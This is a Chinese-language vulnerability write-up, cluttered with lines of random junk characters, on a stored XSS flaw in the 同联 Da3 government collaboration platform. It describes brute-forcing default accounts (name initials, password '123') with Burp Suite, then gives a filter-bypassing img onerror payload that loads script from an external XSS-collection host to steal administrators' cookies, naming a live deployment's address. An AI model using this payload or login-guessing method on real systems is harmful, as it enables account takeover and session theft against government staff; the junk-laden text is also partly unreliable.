. v, ]0 L* _% v8 |
0 _0 h: _/ O/ N 同联Da3协同办公平台后台通用储存型xss漏洞
0 H$ a \% f, x2 { X
+ N" [2 s# Q" j& @+ M1 R - Z5 h8 [+ a6 |
平台简介:
# ?7 J! M; G6 d/ N! T
' ~! d+ _+ s6 ?
8 a6 t( G7 e) E# D1 T* q7 \+ T1 A
) _( G. b( f5 o0 W
m, p: H; X2 n" r. s. }$ n
, V* D* k* e9 T1 O7 h
北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
( x; J$ _& {, g, D. V( R
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
p* M: q/ o. Y: X
同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!' t; w# C" P: N U8 B0 Z+ [ E
8 Z8 g' x4 X3 I i5 a3 d" d
' L" u2 `, Y0 V) V) u1 t8 s . f) b* O' v! N+ I/ C
" U3 V: I$ Q. ]& G+ l5 Y6 r- s
7 s0 n! c. c# B# b& W 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:" P) e. u" h: x+ N
: v: T7 R+ E* b2 ^ 8 J5 k+ @4 m j* z
) a5 {0 A# T2 [' k+ r9 U- h
5 O% j- @# r, l5 I$ O5 z
+ K( j$ c) c$ g/ _" l http://1.1.1.1:7197/cap-aco/#(案例2-)- j, n( q0 f6 r/ i1 k
4 x8 K$ y8 P: Y4 g! \
8 ~; R% H0 u$ ]* s8 g" T http://www.XXOO.com (案例1-官网网站)
) e! q; T( O9 h
: N, ?7 [0 A3 u! q( L) X( L
+ f1 q6 W/ Q$ r1 v 漏洞详情:9 ]" [* s* ]4 ^0 H- Z P
" W$ T% d1 ^! H, ~1 B; H8 P9 m
/ e* r" C( a4 k- v/ A 案例一、/ k" _1 ? e% c$ n) U; d
6 K' m; l9 R+ ?- y8 j, r* I
: q% Y" z2 I8 y" i- J1 m 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试
- Y2 t3 n* I4 ^% F1 p
. R, s% r$ @# `$ [* B
5 Z7 E% o6 B; T2 p) u
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:
* B! V9 o4 s: k7 }2 t3 r: w* }2 K
{7 ]& w% A( a! Z) D3 W 2 Q, p/ ` Z$ {1 \/ Q
# O1 }2 N. T5 n& G0 _& D
9 F( J3 O2 M! }0 s7 l8 x
! c& B4 o0 u' i
+ J$ N) j2 a- {7 k% h( Z6 G3 ?
, ?/ x# b# g. I, y: g ( X1 p7 n$ i, d1 _7 h1 c0 X" c
status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图: 0 {8 M6 s" z" B9 y6 q$ Q# C- S
+ D. Y6 `& `8 A1 w$ p L, o: A: } & E; E4 U& _7 Z! Y
, J! v! S# v7 Y, `1 F
$ T' q9 [" A7 k* ^
6 v) Q" e2 F% A8 H
1 U7 s0 ]2 n Z. [
7 d6 Y" _( q3 W8 K7 O8 ?2 ?
: ?% Z) _: B6 _6 U 然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下
: V! y3 j7 S1 i- |% {
- y, D; i: t A0 p# P
4 N! h G% Q' B8 ]( z& Q+ X
& |9 R* T( g' B* _* r3 u/ A
% ?- F8 n* ^- @) P/ U
1 l& }, o. i2 H- _ <img src=x
' }% u% {; m8 ~/ B4 c* d& p+ Y( }onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
6 U4 K+ H# ?5 i0 a3 e
3 m# m; l# D4 z9 t1 y5 ~4 `9 A$ g
) T2 J: {% E- b& z/ @8 v
# F6 v7 x. I+ ~' U( k! f
3 m. V3 a2 R% _: f9 n- q/ Y- @4 i
: p- ^4 m* U; |4 _; D+ _& E3 ?, U# o
然后发送,接收cookie如图: ( _+ O9 C* A- i' N& C9 p2 d; x" Y: [9 Q
N+ E) |7 y! [' _
7 e. Q4 e4 v' J# J! L3 u; i5 z
r" H1 a- [$ y
0 k3 X9 g, B& ^ 3 [3 o$ R! ~0 I' e3 a9 E) b
6 S4 C2 c, ]; T5 [, ^: _
/ [+ x& u* a$ q9 V1 S 1 A2 t1 n6 x. }1 e0 j
5 y+ b8 v1 P% L( I5 L
0 s) i7 z6 G- i# A# H r6 t0 s0 }+ s |
: s0 O" _6 m# w
/ L4 _% P& e' B' Z( k2 Z S
U0 s' e- S4 Q
4 ^" b! s4 Z6 @7 K8 y% ^5 ?" N
! l. {+ n6 I, G
& ^2 W, c1 Z' g, a
0 Y0 h3 I9 l3 \
$ x5 u; P% u9 c& x5 q/ }" `
+ G* r2 U+ I5 r* ^7 _
3 n& A1 E2 f1 z: p# d0 F
& H: ^- s4 D U 2 Y. x& `% E4 p4 L8 O
案例2、
9 c* n" {3 @5 W
8 v9 N7 L4 p7 S7 X' H" J5 P5 {! u' Z
, R; X& v' W8 l0 s* e. } 前面步骤都一样,下面看效果图: 5 ^. s) N: J% P* _* M3 l; W- d
) ^7 j3 ?+ N* z" J. j
# r9 T" H" e7 z7 a( v- X0 x/ X
# N$ t) ^3 z s: U# e( ~" s
% F/ z2 F* Q% U " J! r6 S0 h* x. \. [
* \4 k- N% w8 p$ B
# T# W, R3 e$ M$ ]+ ~$ I# ^
) e; l, m2 E3 M, f3 n' f
" C5 g; X! }4 H( W! n) l4 _
* |: g( f9 A# `
; s" G( a6 Z0 h! y& ?' e& Y
; u' n7 S ^. r. u" W. o
0 A1 j+ G, @- |$ j5 l
4 E; b. G6 ?" U$ h
" K, ^5 a; A4 v) u; N3 Q
6 @5 ?! d( h4 B$ K" T( i
1 y) @1 F) E7 R0 Y; K2 M
4 R+ T5 X. g/ n# K: W, F, u
1 ~% p6 ]4 c% Q" D( r
N9 W- Y1 V2 [: d4 j * r- z8 y0 v+ E
* U" F! m. E! Q. ~3 f) L 7 |$ p% Q& x& |6 D$ t6 B: z$ [/ R
$ N1 K& }- G) a
) q+ g* \2 J! K3 H/ ^7 P6 M* K2 g
& x8 I: |) y: q/ t& t
3 X# G) f& K& Q; p8 `
# a+ K, }* R* w7 t/ A* E' a